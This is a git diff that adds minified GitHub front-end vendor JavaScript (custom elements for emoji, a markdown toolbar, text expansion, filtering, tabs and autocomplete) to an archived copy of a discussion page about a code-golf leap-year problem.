0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. `}c(Q,"makePrefix");function st(l,o){let e,r,p;return l.orderedList?(r=z(o),e=et(r.text),p=e.text):(r=et(o),e=z(r.text),p=e.text),[r,e,p]}c(st,"clearExistingListStyle");function nt(l,o){const e=l.selectionStart===l.selectionEnd;let r=l.selectionStart,p=l.selectionEnd;O(l);const b=l.value.slice(l.selectionStart,l.selectionEnd),[w,A,C]=st(o,b),$=C.split(` +`).map((q,Y)=>`${Q(Y,o.unorderedList)}${q}`),N=$.reduce((q,Y,F)=>q+Q(F,o.unorderedList).length,0),ot=$.reduce((q,Y,F)=>q+Q(F,!o.unorderedList).length,0);if(w.processed)return e?(r=Math.max(r-Q(0,o.unorderedList).length,0),p=r):(r=l.selectionStart,p=l.selectionEnd-N),{text:C,selectionStart:r,selectionEnd:p};const{newlinesToAppend:Z,newlinesToPrepend:rt}=G(l),X=Z+$.join(` +`)+rt;return e?(r=Math.max(r+Q(0,o.unorderedList).length+Z.length,0),p=r):A.processed?(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N-ot):(r=Math.max(l.selectionStart+Z.length,0),p=l.selectionEnd+Z.length+N),{text:X,selectionStart:r,selectionEnd:p}}c(nt,"listStyle");function it(l,o){const e=l.closest("markdown-toolbar");if(!(e instanceof h))return;const p=Object.assign(Object.assign({},{prefix:"",suffix:"",blockPrefix:"",blockSuffix:"",multiline:!1,replaceNext:"",prefixSpace:!1,scanFor:"",surroundWithNewlines:!1,orderedList:!1,unorderedList:!1,trimFirst:!1}),o),b=e.field;b&&(b.focus(),L(b,p))}c(it,"applyStyle");var lt=null},57852:(j,P,I)=>{var x=I(10160);const _=/\s|\(|\[/;function W(t,n,a,{multiWord:h,lookBackIndex:g,lastMatchPosition:y}={multiWord:!1,lookBackIndex:0,lastMatchPosition:null}){let T=t.lastIndexOf(n,a-1);if(T===-1||T=T+n.length+1||t.lastIndexOf(` +`,a-1)>T||t.lastIndexOf(".",a-1)>T)return}else if(t.lastIndexOf(" ",a-1)>T)return;const u=t[T-1];return u&&!_.test(u)?void 0:{text:t.substring(T+n.length,a),position:T+n.length}}c(W,"query");const S=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],B=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],H=new WeakMap;function M(t,n){const a=t.nodeName.toLowerCase();if(a!=="textarea"&&a!=="input")throw new Error("expected textField to a textarea or input");let h=H.get(t);if(h&&h.parentElement===t.parentElement)h.innerHTML="";else{h=document.createElement("div"),H.set(t,h);const u=window.getComputedStyle(t),s=S.slice(0);a==="textarea"?s.push("white-space:pre-wrap;"):s.push("white-space:nowrap;");for(let i=0,f=B.length;i{a.remove()},5e3),{top:y.top-g.top,left:y.left-g.left}}c(R,"textFieldSelectionPosition");const k=new WeakMap;class m{constructor(n,a){this.expander=n,this.input=a,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.lookBackIndex=0,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithList=!1,a.addEventListener("paste",this.onpaste),a.addEventListener("input",this.oninput),a.addEventListener("keydown",this.onkeydown),a.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}dismissMenu(){this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex)}activate(n,a){var h,g;if(this.input!==document.activeElement&&this.input!==((g=(h=document.activeElement)===null||h===void 0?void 0:h.shadowRoot)===null||g===void 0?void 0:g.activeElement))return;this.deactivate(),this.menu=a,a.id||(a.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(a),this.combobox=new x.Z(this.input,a);const{top:y,left:T}=R(this.input,n.position);a.style.top=`${y}px`,a.style.left=`${T}px`,this.combobox.start(),a.addEventListener("combobox-commit",this.oncommit),a.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}deactivate(){const n=this.menu;return!n||!this.combobox?!1:(this.menu=null,n.removeEventListener("combobox-commit",this.oncommit),n.removeEventListener("mousedown",this.onmousedown),this.combobox.destroy(),this.combobox=null,n.remove(),!0)}onCommit({target:n}){const a=n;if(!(a instanceof HTMLElement)||!this.combobox)return;const h=this.match;if(!h)return;const g=this.input.value.substring(0,h.position-h.key.length),y=this.input.value.substring(h.position+h.text.length),T={item:a,key:h.key,value:null};if(!this.expander.dispatchEvent(new CustomEvent("text-expander-value",{cancelable:!0,detail:T}))||!T.value)return;const s=`${T.value} `;this.input.value=g+s+y;const i=g.length+s.length;this.deactivate(),this.input.focus({preventScroll:!0}),this.input.selectionStart=i,this.input.selectionEnd=i,this.lookBackIndex=i,this.match=null}onBlur(){if(this.interactingWithList){this.interactingWithList=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async onInput(){if(this.justPasted){this.justPasted=!1;return}const n=this.findMatch();if(n){this.match=n;const a=await this.notifyProviders(n);if(!this.match)return;a?this.activate(n,a):this.deactivate()}else this.match=null,this.deactivate()}findMatch(){const n=this.input.selectionEnd||0,a=this.input.value;n<=this.lookBackIndex&&(this.lookBackIndex=n-1);for(const{key:h,multiWord:g}of this.expander.keys){const y=W(a,h,n,{multiWord:g,lookBackIndex:this.lookBackIndex,lastMatchPosition:this.match?this.match.position:null});if(y)return{text:y.text,key:h,position:y.position}}}async notifyProviders(n){const a=[],h=c(u=>a.push(u),"provide");return this.expander.dispatchEvent(new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:h,text:n.text,key:n.key}}))?(await Promise.all(a)).filter(u=>u.matched).map(u=>u.fragment)[0]:void 0}onMousedown(){this.interactingWithList=!0}onKeydown(n){n.key==="Escape"&&(this.match=null,this.deactivate()&&(this.lookBackIndex=this.input.selectionEnd||this.lookBackIndex,n.stopImmediatePropagation(),n.preventDefault()))}}c(m,"TextExpander");class v extends HTMLElement{get keys(){const n=this.getAttribute("keys"),a=n?n.split(" "):[],h=this.getAttribute("multiword"),g=h?h.split(" "):[],y=g.length===0&&this.hasAttribute("multiword");return a.map(T=>({key:T,multiWord:y||g.includes(T)}))}connectedCallback(){const n=this.querySelector('input[type="text"], textarea');if(!(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement))return;const a=new m(this,n);k.set(this,a)}disconnectedCallback(){const n=k.get(this);!n||(n.destroy(),k.delete(this))}dismiss(){const n=k.get(this);!n||n.dismissMenu()}}c(v,"TextExpanderElement"),window.customElements.get("text-expander")||(window.TextExpanderElement=v,window.customElements.define("text-expander",v));var d=null},88823:()=>{const j=function(){return document.readyState==="complete"?Promise.resolve():new Promise(W=>{window.addEventListener("load",W)})}();class P extends HTMLElement{async connectedCallback(){await j,this.content&&await x(this.lines,this.content,this.characterDelay,this.lineDelay),this.cursor&&(this.cursor.hidden=!0),this.dispatchEvent(new CustomEvent("typing:complete",{bubbles:!0,cancelable:!0}))}get content(){return this.querySelector('[data-target="typing-effect.content"]')}get cursor(){return this.querySelector('[data-target="typing-effect.cursor"]')}get lines(){const S=this.getAttribute("data-lines");try{return S?JSON.parse(S):[]}catch{return[]}}get prefersReducedMotion(){return window.matchMedia("(prefers-reduced-motion)").matches}get characterDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-character-delay"))),2147483647))||40}set characterDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-character-delay",String(S))}get lineDelay(){return this.prefersReducedMotion?0:Math.max(0,Math.min(Math.floor(Number(this.getAttribute("data-line-delay"))),2147483647))||40}set lineDelay(S){if(S>2147483647||S<0)throw new DOMException("Value is negative or greater than the allowed amount");this.setAttribute("data-line-delay",String(S))}}c(P,"TypingEffectElement");var I=null;window.customElements.get("typing-effect")||(window.TypingEffectElement=P,window.customElements.define("typing-effect",P));async function x(W,S,B,H){for(let M=0;M{setTimeout(S,W)})}c(_,"wait")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-58612d26affb.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js new file mode 100644 index 0000000..1396f80 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var W=Object.defineProperty;var o=(D,x)=>W(D,"name",{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed"],{13002:(D,x,M)=>{M.d(x,{Z:()=>d});class v extends HTMLElement{constructor(){super();this.currentQuery=null,this.filter=null,this.debounceInputChange=_(()=>u(this,!0)),this.boundFilterResults=()=>{u(this,!1)}}static get observedAttributes(){return["aria-owns"]}attributeChangedCallback(n,t){t&&n==="aria-owns"&&u(this,!1)}connectedCallback(){const n=this.input;!n||(n.setAttribute("autocomplete","off"),n.setAttribute("spellcheck","false"),n.addEventListener("focus",this.boundFilterResults),n.addEventListener("change",this.boundFilterResults),n.addEventListener("input",this.debounceInputChange))}disconnectedCallback(){const n=this.input;!n||(n.removeEventListener("focus",this.boundFilterResults),n.removeEventListener("change",this.boundFilterResults),n.removeEventListener("input",this.debounceInputChange))}get input(){const n=this.querySelector("input");return n instanceof HTMLInputElement?n:null}reset(){const n=this.input;n&&(n.value="",n.dispatchEvent(new Event("change",{bubbles:!0})))}}o(v,"FilterInputElement");async function u(e,n=!1){const t=e.input;if(!t)return;const a=t.value.trim(),l=e.getAttribute("aria-owns");if(!l)return;const r=document.getElementById(l);if(!r)return;const c=r.hasAttribute("data-filter-list")?r:r.querySelector("[data-filter-list]");if(!c||(e.dispatchEvent(new CustomEvent("filter-input-start",{bubbles:!0})),n&&e.currentQuery===a))return;e.currentQuery=a;const m=e.filter||S,A=c.childElementCount;let h=0,k=!1;for(const g of Array.from(c.children)){if(!(g instanceof HTMLElement))continue;const L=w(g),R=m(g,L,a);R.hideNew===!0&&(k=R.hideNew),g.hidden=!R.match,R.match&&h++}const b=r.querySelector("[data-filter-new-item]"),E=!!b&&a.length>0&&!k;b instanceof HTMLElement&&(b.hidden=!E,E&&p(b,a)),y(r,h>0||E),e.dispatchEvent(new CustomEvent("filter-input-updated",{bubbles:!0,detail:{count:h,total:A}}))}o(u,"filterResults");function S(e,n,t){return{match:n.toLowerCase().indexOf(t.toLowerCase())!==-1,hideNew:n===t}}o(S,"matchSubstring");function w(e){return((e.querySelector("[data-filter-item-text]")||e).textContent||"").trim()}o(w,"getText");function p(e,n){const t=e.querySelector("[data-filter-new-item-text]");t&&(t.textContent=n);const a=e.querySelector("[data-filter-new-item-value]");(a instanceof HTMLInputElement||a instanceof HTMLButtonElement)&&(a.value=n)}o(p,"updateNewItem");function y(e,n){const t=e.querySelector("[data-filter-empty-state]");t instanceof HTMLElement&&(t.hidden=n)}o(y,"toggleBlankslate");function _(e){let n;return function(){clearTimeout(n),n=setTimeout(()=>{clearTimeout(n),e()},300)}}o(_,"debounce");const d=v;window.customElements.get("filter-input")||(window.FilterInputElement=v,window.customElements.define("filter-input",v))},88309:(D,x,M)=>{M.d(x,{Z:()=>_});const v=new WeakMap;class u extends HTMLElement{constructor(){super();const e=w.bind(null,this,!0),n={currentQuery:null,oninput:y(e),fetch:e,controller:null};v.set(this,n)}static get observedAttributes(){return["src"]}attributeChangedCallback(e,n){n&&e==="src"&&w(this,!1)}connectedCallback(){const e=this.input;if(!e)return;e.setAttribute("autocomplete","off"),e.setAttribute("spellcheck","false");const n=v.get(this);!n||(e.addEventListener("focus",n.fetch),e.addEventListener("change",n.fetch),e.addEventListener("input",n.oninput))}disconnectedCallback(){const e=this.input;if(!e)return;const n=v.get(this);!n||(e.removeEventListener("focus",n.fetch),e.removeEventListener("change",n.fetch),e.removeEventListener("input",n.oninput))}get input(){const e=this.querySelector("input, textarea");return e instanceof HTMLInputElement||e instanceof HTMLTextAreaElement?e:null}get src(){return this.getAttribute("src")||""}set src(e){this.setAttribute("src",e)}}o(u,"RemoteInputElement");function S(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}o(S,"makeAbortController");async function w(d,e){const n=d.input;if(!n)return;const t=v.get(d);if(!t)return;const a=n.value;if(e&&t.currentQuery===a)return;t.currentQuery=a;const l=d.src;if(!l)return;const r=document.getElementById(d.getAttribute("aria-owns")||"");if(!r)return;const c=new URL(l,window.location.href),m=new URLSearchParams(c.search);m.append(d.getAttribute("param")||"q",a),c.search=m.toString(),t.controller?t.controller.abort():(d.dispatchEvent(new CustomEvent("loadstart")),d.setAttribute("loading","")),t.controller=S();let A,h="";try{A=await p(d,c.toString(),{signal:t.controller.signal,credentials:"same-origin",headers:{accept:"text/fragment+html"}}),h=await A.text(),d.removeAttribute("loading"),t.controller=null}catch(k){k.name!=="AbortError"&&(d.removeAttribute("loading"),t.controller=null);return}A&&A.ok?(r.innerHTML=h,d.dispatchEvent(new CustomEvent("remote-input-success",{bubbles:!0}))):d.dispatchEvent(new CustomEvent("remote-input-error",{bubbles:!0}))}o(w,"fetchResults");async function p(d,e,n){try{const t=await fetch(e,n);return d.dispatchEvent(new CustomEvent("load")),d.dispatchEvent(new CustomEvent("loadend")),t}catch(t){throw t.name!=="AbortError"&&(d.dispatchEvent(new CustomEvent("error")),d.dispatchEvent(new CustomEvent("loadend"))),t}}o(p,"fetchWithNetworkEvents");function y(d){let e;return function(){clearTimeout(e),e=setTimeout(()=>{clearTimeout(e),d()},300)}}o(y,"debounce");const _=u;window.customElements.get("remote-input")||(window.RemoteInputElement=u,window.customElements.define("remote-input",u))},29501:(D,x,M)=>{M.d(x,{Z:()=>u});function v(w){return Array.from(w.querySelectorAll('[role="tablist"] [role="tab"]')).filter(p=>p instanceof HTMLElement&&p.closest(w.tagName)===w)}o(v,"getTabs");class u extends HTMLElement{constructor(){super();this.addEventListener("keydown",p=>{const y=p.target;if(!(y instanceof HTMLElement)||y.closest(this.tagName)!==this||y.getAttribute("role")!=="tab"&&!y.closest('[role="tablist"]'))return;const _=v(this),d=_.indexOf(_.find(e=>e.matches('[aria-selected="true"]')));if(p.code==="ArrowRight"){let e=d+1;e>=_.length&&(e=0),S(this,e)}else if(p.code==="ArrowLeft"){let e=d-1;e<0&&(e=_.length-1),S(this,e)}else p.code==="Home"?(S(this,0),p.preventDefault()):p.code==="End"&&(S(this,_.length-1),p.preventDefault())}),this.addEventListener("click",p=>{const y=v(this);if(!(p.target instanceof Element)||p.target.closest(this.tagName)!==this)return;const _=p.target.closest('[role="tab"]');if(!(_ instanceof HTMLElement)||!_.closest('[role="tablist"]'))return;const d=y.indexOf(_);S(this,d)})}connectedCallback(){for(const p of v(this))p.hasAttribute("aria-selected")||p.setAttribute("aria-selected","false"),p.hasAttribute("tabindex")||(p.getAttribute("aria-selected")==="true"?p.setAttribute("tabindex","0"):p.setAttribute("tabindex","-1"))}}o(u,"TabContainerElement");function S(w,p){const y=v(w),_=Array.from(w.querySelectorAll('[role="tabpanel"]')).filter(t=>t.closest(w.tagName)===w),d=y[p],e=_[p];if(!!w.dispatchEvent(new CustomEvent("tab-container-change",{bubbles:!0,cancelable:!0,detail:{relatedTarget:e}}))){for(const t of y)t.setAttribute("aria-selected","false"),t.setAttribute("tabindex","-1");for(const t of _)t.hidden=!0,!t.hasAttribute("tabindex")&&!t.hasAttribute("data-tab-container-no-tabstop")&&t.setAttribute("tabindex","0");d.setAttribute("aria-selected","true"),d.setAttribute("tabindex","0"),d.focus(),e.hidden=!1,w.dispatchEvent(new CustomEvent("tab-container-changed",{bubbles:!0,detail:{relatedTarget:e}}))}}o(S,"selectTab"),window.customElements.get("tab-container")||(window.TabContainerElement=u,window.customElements.define("tab-container",u))},47142:(D,x,M)=>{M.d(x,{CD:()=>A,Gs:()=>c,m7:()=>m});var v=-1/0,u=1/0,S=-.005,w=-.005,p=-.01,y=1,_=.9,d=.8,e=.7,n=.6;function t(h){return h.toLowerCase()===h}o(t,"islower");function a(h){return h.toUpperCase()===h}o(a,"isupper");function l(h){for(var k=h.length,b=new Array(k),E="/",g=0;g1024)return v;var g=new Array(b),L=new Array(b);return r(h,k,g,L),L[b-1][E-1]}o(c,"score");function m(h,k){var b=h.length,E=k.length,g=new Array(b);if(!b||!E)return g;if(b===E){for(var L=0;L1024)return g;var R=new Array(b),O=new Array(b);r(h,k,R,O);for(var I=!1,L=b-1,T=E-1;L>=0;L--)for(;T>=0;T--)if(R[L][T]!==v&&(I||R[L][T]===O[L][T])){I=L&&T&&O[L][T]===R[L-1][T-1]+y,g[L]=T--;break}return g}o(m,"positions");function A(h,k){h=h.toLowerCase(),k=k.toLowerCase();for(var b=h.length,E=0,g=0;E{M.d(x,{Z:()=>a});var v=M(10160);class u extends CustomEvent{constructor(r,c){super(r,c);this.relatedTarget=c.relatedTarget}}o(u,"AutocompleteEvent");function S(l,r=0){let c;return function(...m){clearTimeout(c),c=window.setTimeout(()=>{clearTimeout(c),l(...m)},r)}}o(S,"debounce");const w=new WeakMap;function p(l,r){const c=new XMLHttpRequest;return c.open("GET",r,!0),c.setRequestHeader("Accept","text/fragment+html"),y(l,c)}o(p,"fragment");function y(l,r){const c=w.get(l);c&&c.abort(),w.set(l,r);const m=o(()=>w.delete(l),"clear"),A=_(r);return A.then(m,m),A}o(y,"request");function _(l){return new Promise((r,c)=>{l.onload=function(){l.status>=200&&l.status<300?r(l.responseText):c(new Error(l.responseText))},l.onerror=c,l.send()})}o(_,"send");const d=window.testScreenReaderDelay||100;class e{constructor(r,c,m,A=!1){var h;if(this.container=r,this.input=c,this.results=m,this.combobox=new 